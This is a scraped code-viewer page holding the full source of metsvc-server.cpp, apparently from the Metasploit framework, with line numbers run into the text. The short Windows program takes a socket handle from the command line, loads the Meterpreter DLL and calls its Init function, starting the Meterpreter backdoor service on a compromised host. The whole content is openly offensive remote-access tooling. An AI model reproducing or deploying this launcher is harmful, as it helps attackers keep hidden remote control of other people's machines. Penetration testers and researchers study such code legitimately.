Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/metsvc/src/metsvc-server.cpp
Views: 11780
/* Copyright (c) 2007, Determina Inc.1* All rights reserved.2*3* Redistribution and use in source and binary forms, with or without4* modification, are permitted provided that the following conditions5* are met:6*7* 1. Redistributions of source code must retain the above copyright8* notice, this list of conditions and the following disclaimer.9* 2. Redistributions in binary form must reproduce the above copyright10* notice, this list of conditions and the following disclaimer in the11* documentation and/or other materials provided with the distribution.12* 3. Neither the name of Determina Inc. nor the names of its contributors13* may be used to endorse or promote products derived from this software14* without specific prior written permission.15*16* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"17* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE18* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE19* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE20* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR21* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF22* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS23* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN24* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)25* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE26* POSSIBILITY OF SUCH DAMAGE.27*/2829#include <windows.h>3031#include "metsvc.h"3233typedef DWORD (*init_fn)(SOCKET fd);3435int main(int argc, char **argv)36{37HMODULE lib;38init_fn init;39WSADATA wsa_data;40SOCKET sock = INVALID_SOCKET;4142// The socket is passed as the first argument on the command line4344if (argc != 2)45goto cleanup;4647sock = atoi(argv[1]);4849// Initialize Winsock5051if (WSAStartup(MAKEWORD(2, 2), &wsa_data) != 0)52goto cleanup;5354// Load the Meterpreter DLL and get the address of the Init function5556if ((lib = LoadLibrary(METSRV_DLL)) == NULL)57goto cleanup;5859if ((init = (init_fn)GetProcAddress(lib, "Init")) == NULL)60goto cleanup;6162// Start the Meterpreter6364__try {65init(sock);66} __except(EXCEPTION_EXECUTE_HANDLER) {67closesocket(sock);68return 0;69}7071cleanup:72if (sock != INVALID_SOCKET)73closesocket(sock);7475return 0;76}777879